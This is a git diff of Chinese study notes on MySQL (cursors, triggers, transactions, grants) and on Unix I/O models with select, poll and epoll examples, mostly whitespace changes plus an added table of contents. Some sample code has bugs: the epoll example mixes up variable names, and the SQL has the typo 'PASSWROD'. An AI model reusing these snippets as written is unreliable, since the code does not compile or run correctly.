+        declare done boolean default 0;
 
-        declare mycursor cursor for
-        select col1 from mytable;
-        # 定义了一个 continue handler，当 sqlstate '02000' 这个条件出现时，会执行 set done = 1
-        declare continue handler for sqlstate '02000' set done = 1;
+        declare mycursor cursor for
+        select col1 from mytable;
+        # 定义了一个 continue handler，当 sqlstate '02000' 这个条件出现时，会执行 set done = 1
+        declare continue handler for sqlstate '02000' set done = 1;
 
-        open mycursor;
+        open mycursor;
 
-        repeat
-            fetch mycursor into ret;
-            select ret;
-        until done end repeat;
+        repeat
+            fetch mycursor into ret;
+            select ret;
+        until done end repeat;
 
-        close mycursor;
-    end //
- delimiter ;
+        close mycursor;
+    end //
+ delimiter ;
 ```
 
-# 二十、触发器
+# 二十、触发器
 
 触发器会在某个表执行以下语句时而自动执行：DELETE、INSERT、UPDATE。
 
-触发器必须指定在语句执行之前还是之后自动执行，之前执行使用 BEFORE 关键字，之后执行使用 AFTER 关键字。BEFORE 用于数据验证和净化，AFTER 用于审计跟踪，将修改记录到另外一张表中。
+触发器必须指定在语句执行之前还是之后自动执行，之前执行使用 BEFORE 关键字，之后执行使用 AFTER 关键字。BEFORE 用于数据验证和净化，AFTER 用于审计跟踪，将修改记录到另外一张表中。
 
-INSERT 触发器包含一个名为 NEW 的虚拟表。
+INSERT 触发器包含一个名为 NEW 的虚拟表。
 
 ```sql
-CREATE TRIGGER mytrigger AFTER INSERT ON mytable
-FOR EACH ROW SELECT NEW.col into @result;
+CREATE TRIGGER mytrigger AFTER INSERT ON mytable
+FOR EACH ROW SELECT NEW.col into @result;
 
-SELECT @result; -- 获取结果
+SELECT @result; -- 获取结果
 ```
 
-DELETE 触发器包含一个名为 OLD 的虚拟表，并且是只读的。
+DELETE 触发器包含一个名为 OLD 的虚拟表，并且是只读的。
 
-UPDATE 触发器包含一个名为 NEW 和一个名为 OLD 的虚拟表，其中 NEW 是可以被修改的，而 OLD 是只读的。
+UPDATE 触发器包含一个名为 NEW 和一个名为 OLD 的虚拟表，其中 NEW 是可以被修改的，而 OLD 是只读的。
 
-MySQL 不允许在触发器中使用 CALL 语句，也就是不能调用存储过程。
+MySQL 不允许在触发器中使用 CALL 语句，也就是不能调用存储过程。
 
-# 二十一、事务管理
+# 二十一、事务管理
 
 基本术语：
 
-- 事务（transaction）指一组 SQL 语句；
-- 回退（rollback）指撤销指定 SQL 语句的过程；
-- 提交（commit）指将未存储的 SQL 语句结果写入数据库表；
-- 保留点（savepoint）指事务处理中设置的临时占位符（placeholder），你可以对它发布回退（与回退整个事务处理不同）。
+- 事务（transaction）指一组 SQL 语句；
+- 回退（rollback）指撤销指定 SQL 语句的过程；
+- 提交（commit）指将未存储的 SQL 语句结果写入数据库表；
+- 保留点（savepoint）指事务处理中设置的临时占位符（placeholder），你可以对它发布回退（与回退整个事务处理不同）。
 
-不能回退 SELECT 语句，回退 SELECT 语句也没意义；也不能回退 CREATE 和 DROP 语句。
+不能回退 SELECT 语句，回退 SELECT 语句也没意义；也不能回退 CREATE 和 DROP 语句。
 
-MySQL 的事务提交默认是隐式提交，每执行一条语句就把这条语句当成一个事务然后进行提交。当出现 START TRANSACTION 语句时，会关闭隐式提交；当 COMMIT 或 ROLLBACK 语句执行后，事务会自动关闭，重新恢复隐式提交。
+MySQL 的事务提交默认是隐式提交，每执行一条语句就把这条语句当成一个事务然后进行提交。当出现 START TRANSACTION 语句时，会关闭隐式提交；当 COMMIT 或 ROLLBACK 语句执行后，事务会自动关闭，重新恢复隐式提交。
 
-通过设置 autocommit 为 0 可以取消自动提交；autocommit 标记是针对每个连接而不是针对服务器的。
+通过设置 autocommit 为 0 可以取消自动提交；autocommit 标记是针对每个连接而不是针对服务器的。
 
-如果没有设置保留点，ROLLBACK 会回退到 START TRANSACTION 语句处；如果设置了保留点，并且在 ROLLBACK 中指定该保留点，则会回退到该保留点。
+如果没有设置保留点，ROLLBACK 会回退到 START TRANSACTION 语句处；如果设置了保留点，并且在 ROLLBACK 中指定该保留点，则会回退到该保留点。
 
 ```sql
-START TRANSACTION
-// ...
-SAVEPOINT delete1
-// ...
-ROLLBACK TO delete1
-// ...
+START TRANSACTION
+// ...
+SAVEPOINT delete1
+// ...
+ROLLBACK TO delete1
+// ...
 COMMIT
 ```
 
-# 二十二、字符集
+# 二十二、字符集
 
 基本术语：
 
-- 字符集为字母和符号的集合；
-- 编码为某个字符集成员的内部表示；
-- 校对字符指定如何比较，主要用于排序和分组。
+- 字符集为字母和符号的集合；
+- 编码为某个字符集成员的内部表示；
+- 校对字符指定如何比较，主要用于排序和分组。
 
 除了给表指定字符集和校对外，也可以给列指定：
 
 ```sql
-CREATE TABLE mytable
-(col VARCHAR(10) CHARACTER SET latin COLLATE latin1_general_ci )
-DEFAULT CHARACTER SET hebrew COLLATE hebrew_general_ci;
+CREATE TABLE mytable
+(col VARCHAR(10) CHARACTER SET latin COLLATE latin1_general_ci )
+DEFAULT CHARACTER SET hebrew COLLATE hebrew_general_ci;
 ```
 
 可以在排序、分组时指定校对：
 
 ```sql
-SELECT *
-FROM mytable
-ORDER BY col COLLATE latin1_general_ci;
+SELECT *
+FROM mytable
+ORDER BY col COLLATE latin1_general_ci;
 ```
 
-# 二十三、权限管理
+# 二十三、权限管理
 
-MySQL 的账户信息保存在 mysql 这个数据库中。
+MySQL 的账户信息保存在 mysql 这个数据库中。
 
 ```sql
-USE mysql;
-SELECT user FROM user;
+USE mysql;
+SELECT user FROM user;
 ```
 
-**创建账户**
+**创建账户** 
 
 新创建的账户没有任何权限。
 
 ```sql
-CREATE USER myuser IDENTIFIED BY 'mypassword';
+CREATE USER myuser IDENTIFIED BY 'mypassword';
 ```
 
-**修改账户名**
+**修改账户名** 
 
 ```sql
-RENAME myuser TO newuser;
+RENAME myuser TO newuser;
 ```
 
-**删除账户**
+**删除账户** 
 
 ```sql
-DROP USER myuser;
+DROP USER myuser;
 ```
 
-**查看权限**
+**查看权限** 
 
 ```sql
-SHOW GRANTS FOR myuser;
+SHOW GRANTS FOR myuser;
 ```
 
-**授予权限**
+**授予权限** 
 
-账户用 username@host 的形式定义，username@% 使用的是默认主机名。
+账户用 username@host 的形式定义，username@% 使用的是默认主机名。
 
 ```sql
-GRANT SELECT, INSERT ON mydatabase.* TO myuser;
+GRANT SELECT, INSERT ON mydatabase.* TO myuser;
 ```
 
-**删除权限**
+**删除权限** 
 
-GRANT 和 REVOKE 可在几个层次上控制访问权限：
+GRANT 和 REVOKE 可在几个层次上控制访问权限：
 
-- 整个服务器，使用 GRANT ALL 和 REVOKE ALL；
-- 整个数据库，使用 ON database.\*；
-- 特定的表，使用 ON database.table；
-- 特定的列；
-- 特定的存储过程。
+- 整个服务器，使用 GRANT ALL 和 REVOKE ALL；
+- 整个数据库，使用 ON database.\*；
+- 特定的表，使用 ON database.table；
+- 特定的列；
+- 特定的存储过程。
 
 ```sql
-REVOKE SELECT, INSERT ON mydatabase.* FROM myuser;
+REVOKE SELECT, INSERT ON mydatabase.* FROM myuser;
 ```
 
-**更改密码**
+**更改密码** 
 
-必须使用 Password() 函数
+必须使用 Password() 函数
 
 ```sql
-SET PASSWROD FOR myuser = Password('new_password');
+SET PASSWROD FOR myuser = Password('new_password');
 ```
 
-# 参考资料
+# 参考资料
 
-- BenForta. SQL 必知必会 [M]. 人民邮电出版社, 2013.
\ No newline at end of file
+- BenForta. SQL 必知必会 [M]. 人民邮电出版社, 2013.
diff --git a/docs/notes/Socket.md b/docs/notes/Socket.md
index ab23d005..92f4149f 100644
--- a/docs/notes/Socket.md
+++ b/docs/notes/Socket.md
@@ -1,304 +1,324 @@
-# 一、I/O 模型
+[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
+<!-- GFM-TOC -->
+* [一、I/O 模型](#一io-模型)
+    * [阻塞式 I/O](#阻塞式-io)
+    * [非阻塞式 I/O](#非阻塞式-io)
+    * [I/O 复用](#io-复用)
+    * [信号驱动 I/O](#信号驱动-io)
+    * [异步 I/O](#异步-io)
+    * [五大 I/O 模型比较](#五大-io-模型比较)
+* [二、I/O 复用](#二io-复用)
+    * [select](#select)
+    * [poll](#poll)
+    * [比较](#比较)
+    * [epoll](#epoll)
+    * [工作模式](#工作模式)
+    * [应用场景](#应用场景)
+* [参考资料](#参考资料)
+<!-- GFM-TOC -->
+
+
+# 一、I/O 模型
 
 一个输入操作通常包括两个阶段：
 
-- 等待数据准备好
-- 从内核向进程复制数据
+- 等待数据准备好
+- 从内核向进程复制数据
 
 对于一个套接字上的输入操作，第一步通常涉及等待数据从网络中到达。当所等待数据到达时，它被复制到内核中的某个缓冲区。第二步就是把数据从内核缓冲区复制到应用进程缓冲区。
 
-Unix 有五种 I/O 模型：
+Unix 有五种 I/O 模型：
 
-- 阻塞式 I/O
-- 非阻塞式 I/O
-- I/O 复用（select 和 poll）
-- 信号驱动式 I/O（SIGIO）
-- 异步 I/O（AIO）
+- 阻塞式 I/O
+- 非阻塞式 I/O
+- I/O 复用（select 和 poll）
+- 信号驱动式 I/O（SIGIO）
+- 异步 I/O（AIO）
 
-## 阻塞式 I/O
+## 阻塞式 I/O
 
 应用进程被阻塞，直到数据复制到应用进程缓冲区中才返回。
 
-应该注意到，在阻塞的过程中，其它程序还可以执行，因此阻塞不意味着整个操作系统都被阻塞。因为其他程序还可以执行，所以不消耗 CPU 时间，这种模型的 CPU 利用率效率会比较高。
+应该注意到，在阻塞的过程中，其它程序还可以执行，因此阻塞不意味着整个操作系统都被阻塞。因为其他程序还可以执行，所以不消耗 CPU 时间，这种模型的 CPU 利用率效率会比较高。
 
-下图中，recvfrom 用于接收 Socket 传来的数据，并复制到应用进程的缓冲区 buf 中。这里把 recvfrom() 当成系统调用。
+下图中，recvfrom 用于接收 Socket 传来的数据，并复制到应用进程的缓冲区 buf 中。这里把 recvfrom() 当成系统调用。
 
 ```c
-ssize_t recvfrom(int sockfd, void *buf, size_t len, int flags, struct sockaddr *src_addr, socklen_t *addrlen);
+ssize_t recvfrom(int sockfd, void *buf, size_t len, int flags, struct sockaddr *src_addr, socklen_t *addrlen);
 ```
 
-![](index_files/1492928416812_4.png)
+<div align="center"> <img src="pics/1492928416812_4.png"/> </div><br>
 
-## 非阻塞式 I/O
+## 非阻塞式 I/O
 
-应用进程执行系统调用之后，内核返回一个错误码。应用进程可以继续执行，但是需要不断的执行系统调用来获知 I/O 是否完成，这种方式称为轮询（polling）。
+应用进程执行系统调用之后，内核返回一个错误码。应用进程可以继续执行，但是需要不断的执行系统调用来获知 I/O 是否完成，这种方式称为轮询（polling）。
 
-由于 CPU 要处理更多的系统调用，因此这种模型的 CPU 利用率是比较低的。
+由于 CPU 要处理更多的系统调用，因此这种模型的 CPU 利用率是比较低的。
 
-![](index_files/1492929000361_5.png)
+<div align="center"> <img src="pics/1492929000361_5.png"/> </div><br>
 
-## I/O 复用
+## I/O 复用
 
-使用 select 或者 poll 等待数据，并且可以等待多个套接字中的任何一个变为可读。这一过程会被阻塞，当某一个套接字可读时返回，之后再使用 recvfrom 把数据从内核复制到进程中。
+使用 select 或者 poll 等待数据，并且可以等待多个套接字中的任何一个变为可读。这一过程会被阻塞，当某一个套接字可读时返回，之后再使用 recvfrom 把数据从内核复制到进程中。
 
-它可以让单个进程具有处理多个 I/O 事件的能力。又被称为 Event Driven I/O，即事件驱动 I/O。
+它可以让单个进程具有处理多个 I/O 事件的能力。又被称为 Event Driven I/O，即事件驱动 I/O。
 
-如果一个 Web 服务器没有 I/O 复用，那么每一个 Socket 连接都需要创建一个线程去处理。如果同时有几万个连接，那么就需要创建相同数量的线程。相比于多进程和多线程技术，I/O 复用不需要进程线程创建和切换的开销，系统开销更小。
+如果一个 Web 服务器没有 I/O 复用，那么每一个 Socket 连接都需要创建一个线程去处理。如果同时有几万个连接，那么就需要创建相同数量的线程。相比于多进程和多线程技术，I/O 复用不需要进程线程创建和切换的开销，系统开销更小。
 
-![](index_files/1492929444818_6.png)
+<div align="center"> <img src="pics/1492929444818_6.png"/> </div><br>
 
-## 信号驱动 I/O
+## 信号驱动 I/O
 
-应用进程使用 sigaction 系统调用，内核立即返回，应用进程可以继续执行，也就是说等待数据阶段应用进程是非阻塞的。内核在数据到达时向应用进程发送 SIGIO 信号，应用进程收到之后在信号处理程序中调用 recvfrom 将数据从内核复制到应用进程中。
+应用进程使用 sigaction 系统调用，内核立即返回，应用进程可以继续执行，也就是说等待数据阶段应用进程是非阻塞的。内核在数据到达时向应用进程发送 SIGIO 信号，应用进程收到之后在信号处理程序中调用 recvfrom 将数据从内核复制到应用进程中。
 
-相比于非阻塞式 I/O 的轮询方式，信号驱动 I/O 的 CPU 利用率更高。
+相比于非阻塞式 I/O 的轮询方式，信号驱动 I/O 的 CPU 利用率更高。
 
-![](index_files/1492929553651_7.png)
+<div align="center"> <img src="pics/1492929553651_7.png"/> </div><br>
 
-## 异步 I/O
+## 异步 I/O
 
-应用进程执行 aio_read 系统调用会立即返回，应用进程可以继续执行，不会被阻塞，内核会在所有操作完成之后向应用进程发送信号。
+应用进程执行 aio_read 系统调用会立即返回，应用进程可以继续执行，不会被阻塞，内核会在所有操作完成之后向应用进程发送信号。
 
-异步 I/O 与信号驱动 I/O 的区别在于，异步 I/O 的信号是通知应用进程 I/O 完成，而信号驱动 I/O 的信号是通知应用进程可以开始 I/O。
+异步 I/O 与信号驱动 I/O 的区别在于，异步 I/O 的信号是通知应用进程 I/O 完成，而信号驱动 I/O 的信号是通知应用进程可以开始 I/O。
 
-![](index_files/1492930243286_8.png)
+<div align="center"> <img src="pics/1492930243286_8.png"/> </div><br>
 
-## 五大 I/O 模型比较
+## 五大 I/O 模型比较
 
-- 同步 I/O：将数据从内核缓冲区复制到应用进程缓冲区的阶段，应用进程会阻塞。
-- 异步 I/O：不会阻塞。
+- 同步 I/O：将数据从内核缓冲区复制到应用进程缓冲区的阶段，应用进程会阻塞。
+- 异步 I/O：不会阻塞。
 
-阻塞式 I/O、非阻塞式 I/O、I/O 复用和信号驱动 I/O 都是同步 I/O，它们的主要区别在第一个阶段。
+阻塞式 I/O、非阻塞式 I/O、I/O 复用和信号驱动 I/O 都是同步 I/O，它们的主要区别在第一个阶段。
 
-非阻塞式 I/O 、信号驱动 I/O 和异步 I/O 在第一阶段不会阻塞。
+非阻塞式 I/O 、信号驱动 I/O 和异步 I/O 在第一阶段不会阻塞。
 
-![](index_files/1492928105791_3.png)
+<div align="center"> <img src="pics/1492928105791_3.png"/> </div><br>
 
-# 二、I/O 复用
+# 二、I/O 复用
 
-select/poll/epoll 都是 I/O 多路复用的具体实现，select 出现的最早，之后是 poll，再是 epoll。
+select/poll/epoll 都是 I/O 多路复用的具体实现，select 出现的最早，之后是 poll，再是 epoll。
 
-## select
+## select
 
 ```c
-int select(int n, fd_set *readfds, fd_set *writefds, fd_set *exceptfds, struct timeval *timeout);
+int select(int n, fd_set *readfds, fd_set *writefds, fd_set *exceptfds, struct timeval *timeout);
 ```
 
-有三种类型的描述符类型：readset、writeset、exceptset，分别对应读、写、异常条件的描述符集合。fd_set 使用数组实现，数组大小使用 FD_SETSIZE 定义。
+有三种类型的描述符类型：readset、writeset、exceptset，分别对应读、写、异常条件的描述符集合。fd_set 使用数组实现，数组大小使用 FD_SETSIZE 定义。
 
-timeout 为超时参数，调用 select 会一直阻塞直到有描述符的事件到达或者等待的时间超过 timeout。
+timeout 为超时参数，调用 select 会一直阻塞直到有描述符的事件到达或者等待的时间超过 timeout。
 
-成功调用返回结果大于 0，出错返回结果为 -1，超时返回结果为 0。
+成功调用返回结果大于 0，出错返回结果为 -1，超时返回结果为 0。
 
 ```c
-fd_set fd_in, fd_out;
-struct timeval tv;
+fd_set fd_in, fd_out;
+struct timeval tv;
 
-// Reset the sets
-FD_ZERO( &fd_in );
-FD_ZERO( &fd_out );
+// Reset the sets
+FD_ZERO( &fd_in );
+FD_ZERO( &fd_out );
 
-// Monitor sock1 for input events
-FD_SET( sock1, &fd_in );
+// Monitor sock1 for input events
+FD_SET( sock1, &fd_in );
 
-// Monitor sock2 for output events
-FD_SET( sock2, &fd_out );
+// Monitor sock2 for output events
+FD_SET( sock2, &fd_out );
 
-// Find out which socket has the largest numeric value as select requires it
-int largest_sock = sock1 > sock2 ? sock1 : sock2;
+// Find out which socket has the largest numeric value as select requires it
+int largest_sock = sock1 > sock2 ? sock1 : sock2;
 
-// Wait up to 10 seconds
-tv.tv_sec = 10;
-tv.tv_usec = 0;
+// Wait up to 10 seconds
+tv.tv_sec = 10;
+tv.tv_usec = 0;
 
-// Call the select
-int ret = select( largest_sock + 1, &fd_in, &fd_out, NULL, &tv );
+// Call the select
+int ret = select( largest_sock + 1, &fd_in, &fd_out, NULL, &tv );
 
-// Check if select actually succeed
-if ( ret == -1 )
-    // report error and abort
-else if ( ret == 0 )
-    // timeout; no event detected
+// Check if select actually succeed
+if ( ret == -1 )
+    // report error and abort
+else if ( ret == 0 )
+    // timeout; no event detected
 else
 {
-    if ( FD_ISSET( sock1, &fd_in ) )
-        // input event on sock1
+    if ( FD_ISSET( sock1, &fd_in ) )
+        // input event on sock1
 
-    if ( FD_ISSET( sock2, &fd_out ) )
-        // output event on sock2
+    if ( FD_ISSET( sock2, &fd_out ) )
+        // output event on sock2
 }
 ```
 
-## poll
+## poll
 
 ```c
-int poll(struct pollfd *fds, unsigned int nfds, int timeout);
+int poll(struct pollfd *fds, unsigned int nfds, int timeout);
 ```
 
-pollfd 使用链表实现。
+pollfd 使用链表实现。
 
 ```c
-// The structure for two events
-struct pollfd fds[2];
+// The structure for two events
+struct pollfd fds[2];
 
-// Monitor sock1 for input
-fds[0].fd = sock1;
-fds[0].events = POLLIN;
+// Monitor sock1 for input
+fds[0].fd = sock1;
+fds[0].events = POLLIN;
 
-// Monitor sock2 for output
-fds[1].fd = sock2;
-fds[1].events = POLLOUT;
+// Monitor sock2 for output
+fds[1].fd = sock2;
+fds[1].events = POLLOUT;
 
-// Wait 10 seconds
-int ret = poll( &fds, 2, 10000 );
-// Check if poll actually succeed
-if ( ret == -1 )
-    // report error and abort
-else if ( ret == 0 )
-    // timeout; no event detected
+// Wait 10 seconds
+int ret = poll( &fds, 2, 10000 );
+// Check if poll actually succeed
+if ( ret == -1 )
+    // report error and abort
+else if ( ret == 0 )
+    // timeout; no event detected
 else
 {
-    // If we detect the event, zero it out so we can reuse the structure
-    if ( fds[0].revents & POLLIN )
-        fds[0].revents = 0;
-        // input event on sock1
+    // If we detect the event, zero it out so we can reuse the structure
+    if ( fds[0].revents & POLLIN )
+        fds[0].revents = 0;
+        // input event on sock1
 
-    if ( fds[1].revents & POLLOUT )
-        fds[1].revents = 0;
-        // output event on sock2
+    if ( fds[1].revents & POLLOUT )
+        fds[1].revents = 0;
+        // output event on sock2
 }
 ```
 
-## 比较
+## 比较
 
-### 1. 功能
+### 1. 功能
 
-select 和 poll 的功能基本相同，不过在一些实现细节上有所不同。
+select 和 poll 的功能基本相同，不过在一些实现细节上有所不同。
 
-- select 会修改描述符，而 poll 不会；
-- select 的描述符类型使用数组实现，FD_SETSIZE 大小默认为 1024，因此默认只能监听 1024 个描述符。如果要监听更多描述符的话，需要修改 FD_SETSIZE 之后重新编译；而 poll 的描述符类型使用链表实现，没有描述符数量的限制；
-- poll 提供了更多的事件类型，并且对描述符的重复利用上比 select 高。
-- 如果一个线程对某个描述符调用了 select 或者 poll，另一个线程关闭了该描述符，会导致调用结果不确定。
+- select 会修改描述符，而 poll 不会；
+- select 的描述符类型使用数组实现，FD_SETSIZE 大小默认为 1024，因此默认只能监听 1024 个描述符。如果要监听更多描述符的话，需要修改 FD_SETSIZE 之后重新编译；而 poll 的描述符类型使用链表实现，没有描述符数量的限制；
+- poll 提供了更多的事件类型，并且对描述符的重复利用上比 select 高。
+- 如果一个线程对某个描述符调用了 select 或者 poll，另一个线程关闭了该描述符，会导致调用结果不确定。
 
-### 2. 速度
+### 2. 速度
 
-select 和 poll 速度都比较慢。
+select 和 poll 速度都比较慢。
 
-- select 和 poll 每次调用都需要将全部描述符从应用进程缓冲区复制到内核缓冲区。
-- select 和 poll 的返回结果中没有声明哪些描述符已经准备好，所以如果返回值大于 0 时，应用进程都需要使用轮询的方式来找到 I/O 完成的描述符。
+- select 和 poll 每次调用都需要将全部描述符从应用进程缓冲区复制到内核缓冲区。
+- select 和 poll 的返回结果中没有声明哪些描述符已经准备好，所以如果返回值大于 0 时，应用进程都需要使用轮询的方式来找到 I/O 完成的描述符。
 
-### 3. 可移植性
+### 3. 可移植性
 
-几乎所有的系统都支持 select，但是只有比较新的系统支持 poll。
+几乎所有的系统都支持 select，但是只有比较新的系统支持 poll。
 
-## epoll
+## epoll
 
 ```c
-int epoll_create(int size);
-int epoll_ctl(int epfd, int op, int fd, struct epoll_event *event)；
-int epoll_wait(int epfd, struct epoll_event * events, int maxevents, int timeout);
+int epoll_create(int size);
+int epoll_ctl(int epfd, int op, int fd, struct epoll_event *event)；
+int epoll_wait(int epfd, struct epoll_event * events, int maxevents, int timeout);
 ```
 
-epoll_ctl() 用于向内核注册新的描述符或者是改变某个文件描述符的状态。已注册的描述符在内核中会被维护在一棵红黑树上，通过回调函数内核会将 I/O 准备好的描述符加入到一个链表中管理，进程调用 epoll_wait() 便可以得到事件完成的描述符。
+epoll_ctl() 用于向内核注册新的描述符或者是改变某个文件描述符的状态。已注册的描述符在内核中会被维护在一棵红黑树上，通过回调函数内核会将 I/O 准备好的描述符加入到一个链表中管理，进程调用 epoll_wait() 便可以得到事件完成的描述符。
 
-从上面的描述可以看出，epoll 只需要将描述符从进程缓冲区向内核缓冲区拷贝一次，并且进程不需要通过轮询来获得事件完成的描述符。
+从上面的描述可以看出，epoll 只需要将描述符从进程缓冲区向内核缓冲区拷贝一次，并且进程不需要通过轮询来获得事件完成的描述符。
 
-epoll 仅适用于 Linux OS。
+epoll 仅适用于 Linux OS。
 
-epoll 比 select 和 poll 更加灵活而且没有描述符数量限制。
+epoll 比 select 和 poll 更加灵活而且没有描述符数量限制。
 
-epoll 对多线程编程更有友好，一个线程调用了 epoll_wait() 另一个线程关闭了同一个描述符也不会产生像 select 和 poll 的不确定情况。
+epoll 对多线程编程更有友好，一个线程调用了 epoll_wait() 另一个线程关闭了同一个描述符也不会产生像 select 和 poll 的不确定情况。
 
 ```c
-// Create the epoll descriptor. Only one is needed per app, and is used to monitor all sockets.
-// The function argument is ignored (it was not before, but now it is), so put your favorite number here
-int pollingfd = epoll_create( 0xCAFE );
+// Create the epoll descriptor. Only one is needed per app, and is used to monitor all sockets.
+// The function argument is ignored (it was not before, but now it is), so put your favorite number here
+int pollingfd = epoll_create( 0xCAFE );
 
-if ( pollingfd < 0 )
- // report error
+if ( pollingfd < 0 )
+ // report error
 
-// Initialize the epoll structure in case more members are added in future
-struct epoll_event ev = { 0 };
+// Initialize the epoll structure in case more members are added in future
+struct epoll_event ev = { 0 };
 
-// Associate the connection class instance with the event. You can associate anything
-// you want, epoll does not use this information. We store a connection class pointer, pConnection1
-ev.data.ptr = pConnection1;
+// Associate the connection class instance with the event. You can associate anything
+// you want, epoll does not use this information. We store a connection class pointer, pConnection1
+ev.data.ptr = pConnection1;
 
-// Monitor for input, and do not automatically rearm the descriptor after the event
-ev.events = EPOLLIN | EPOLLONESHOT;
-// Add the descriptor into the monitoring list. We can do it even if another thread is
-// waiting in epoll_wait - the descriptor will be properly added
-if ( epoll_ctl( epollfd, EPOLL_CTL_ADD, pConnection1->getSocket(), &ev ) != 0 )
-    // report error
+// Monitor for input, and do not automatically rearm the descriptor after the event
+ev.events = EPOLLIN | EPOLLONESHOT;
+// Add the descriptor into the monitoring list. We can do it even if another thread is
+// waiting in epoll_wait - the descriptor will be properly added
+if ( epoll_ctl( epollfd, EPOLL_CTL_ADD, pConnection1->getSocket(), &ev ) != 0 )
+    // report error
 
-// Wait for up to 20 events (assuming we have added maybe 200 sockets before that it may happen)
-struct epoll_event pevents[ 20 ];
+// Wait for up to 20 events (assuming we have added maybe 200 sockets before that it may happen)
+struct epoll_event pevents[ 20 ];
 
-// Wait for 10 seconds, and retrieve less than 20 epoll_event and store them into epoll_event array
-int ready = epoll_wait( pollingfd, pevents, 20, 10000 );
-// Check if epoll actually succeed
-if ( ret == -1 )
-    // report error and abort
-else if ( ret == 0 )
-    // timeout; no event detected
+// Wait for 10 seconds, and retrieve less than 20 epoll_event and store them into epoll_event array
+int ready = epoll_wait( pollingfd, pevents, 20, 10000 );
+// Check if epoll actually succeed
+if ( ret == -1 )
+    // report error and abort
+else if ( ret == 0 )
+    // timeout; no event detected
 else
 {
-    // Check if any events detected
-    for ( int i = 0; i < ret; i++ )
-    {
-        if ( pevents[i].events & EPOLLIN )
-        {
-            // Get back our connection pointer
-            Connection * c = (Connection*) pevents[i].data.ptr;
-            c->handleReadEvent();
-         }
-    }
+    // Check if any events detected
+    for ( int i = 0; i < ret; i++ )
+    {
+        if ( pevents[i].events & EPOLLIN )
+        {
+            // Get back our connection pointer
+            Connection * c = (Connection*) pevents[i].data.ptr;
+            c->handleReadEvent();
+         }
+    }
 }
 ```
 
 
-## 工作模式
+## 工作模式
 
-epoll 的描述符事件有两种触发模式：LT（level trigger）和 ET（edge trigger）。
+epoll 的描述符事件有两种触发模式：LT（level trigger）和 ET（edge trigger）。
 
-### 1. LT 模式
+### 1. LT 模式
 
-当 epoll_wait() 检测到描述符事件到达时，将此事件通知进程，进程可以不立即处理该事件，下次调用 epoll_wait() 会再次通知进程。是默认的一种模式，并且同时支持 Blocking 和 No-Blocking。
+当 epoll_wait() 检测到描述符事件到达时，将此事件通知进程，进程可以不立即处理该事件，下次调用 epoll_wait() 会再次通知进程。是默认的一种模式，并且同时支持 Blocking 和 No-Blocking。
 
-### 2. ET 模式
+### 2. ET 模式
 
-和 LT 模式不同的是，通知之后进程必须立即处理事件，下次再调用 epoll_wait() 时不会再得到事件到达的通知。
+和 LT 模式不同的是，通知之后进程必须立即处理事件，下次再调用 epoll_wait() 时不会再得到事件到达的通知。
 
-很大程度上减少了 epoll 事件被重复触发的次数，因此效率要比 LT 模式高。只支持 No-Blocking，以避免由于一个文件句柄的阻塞读/阻塞写操作把处理多个文件描述符的任务饿死。
+很大程度上减少了 epoll 事件被重复触发的次数，因此效率要比 LT 模式高。只支持 No-Blocking，以避免由于一个文件句柄的阻塞读/阻塞写操作把处理多个文件描述符的任务饿死。
 
-## 应用场景
+## 应用场景
 
-很容易产生一种错觉认为只要用 epoll 就可以了，select 和 poll 都已经过时了，其实它们都有各自的使用场景。
+很容易产生一种错觉认为只要用 epoll 就可以了，select 和 poll 都已经过时了，其实它们都有各自的使用场景。
 
-### 1. select 应用场景
+### 1. select 应用场景
 
-select 的 timeout 参数精度为 1ns，而 poll 和 epoll 为 1ms，因此 select 更加适用于实时性要求比较高的场景，比如核反应堆的控制。
+select 的 timeout 参数精度为 1ns，而 poll 和 epoll 为 1ms，因此 select 更加适用于实时性要求比较高的场景，比如核反应堆的控制。
 
-select 可移植性更好，几乎被所有主流平台所支持。
+select 可移植性更好，几乎被所有主流平台所支持。
 
-### 2. poll 应用场景
+### 2. poll 应用场景
 
-poll 没有最大描述符数量的限制，如果平台支持并且对实时性要求不高，应该使用 poll 而不是 select。
+poll 没有最大描述符数量的限制，如果平台支持并且对实时性要求不高，应该使用 poll 而不是 select。
 
-### 3. epoll 应用场景
+### 3. epoll 应用场景
 
-只需要运行在 Linux 平台上，有大量的描述符需要同时轮询，并且这些连接最好是长连接。
+只需要运行在 Linux 平台上，有大量的描述符需要同时轮询，并且这些连接最好是长连接。
 
-需要同时监控小于 1000 个描述符，就没有必要使用 epoll，因为这个应用场景下并不能体现 epoll 的优势。
+需要同时监控小于 1000 个描述符，就没有必要使用 epoll，因为这个应用场景下并不能体现 epoll 的优势。
 
-需要监控的描述符状态变化多，而且都是非常短暂的，也没有必要使用 epoll。因为 epoll 中的所有描述符都存储在内核中，造成每次需要对描述符的状态改变都需要通过 epoll_ctl() 进行系统调用，频繁系统调用降低效率。并且 epoll 的描述符存储在内核，不容易调试。
+需要监控的描述符状态变化多，而且都是非常短暂的，也没有必要使用 epoll。因为 epoll 中的所有描述符都存储在内核中，造成每次需要对描述符的状态改变都需要通过 epoll_ctl() 进行系统调用，频繁系统调用降低效率。并且 epoll 的描述符存储在内核，不容易调试。
 
-# 参考资料
+# 参考资料
 
-- Stevens W R, Fenner B, Rudoff A M. UNIX network programming[M]. Addison-Wesley Professional, 2004.
-- [Boost application performance using asynchronous I/O](https://www.ibm.com/developerworks/linux/library/l-async/)
-- [Synchronous and Asynchronous I/O](https://msdn.microsoft.com/en-us/library/windows/desktop/aa365683(v=vs.85).aspx)
-- [Linux IO 模式及 select、poll、epoll 详解](https://segmentfault.com/a/1190000003063859)
-- [poll vs select vs event-based](https://daniel.haxx.se/docs/poll-vs-select.html)
-- [select / poll / epoll: practical difference for system architects](http://www.ulduzsoft.com/2014/01/select-poll-epoll-practical-difference-for-system-architects/)
-- [Browse the source code of userspace/glibc/sysdeps/unix/sysv/linux/ online](https://code.woboq.org/userspace/glibc/sysdeps/unix/sysv/linux/)
\ No newline at end of file
+- Stevens W R, Fenner B, Rudoff A M. UNIX network programming[M]. Addison-Wesley Professional, 2004.
+- [Boost application performance using asynchronous I/O](https://www.ibm.com/developerworks/linux/library/l-async/)
+- [Synchronous and Asynchronous I/O](https://msdn.microsoft.com/en-us/library/windows/desktop/aa365683(v=vs.85).aspx)
+- [Linux IO 模式及 select、poll、epoll 详解](https://segmentfault.com/a/1190000003063859)
+- [poll vs select vs event-based](https://daniel.haxx.se/docs/poll-vs-select.html)
+- [select / poll / epoll: practical difference for system architects](http://www.ulduzsoft.com/2014/01/select-poll-epoll-practical-difference-for-system-architects/)
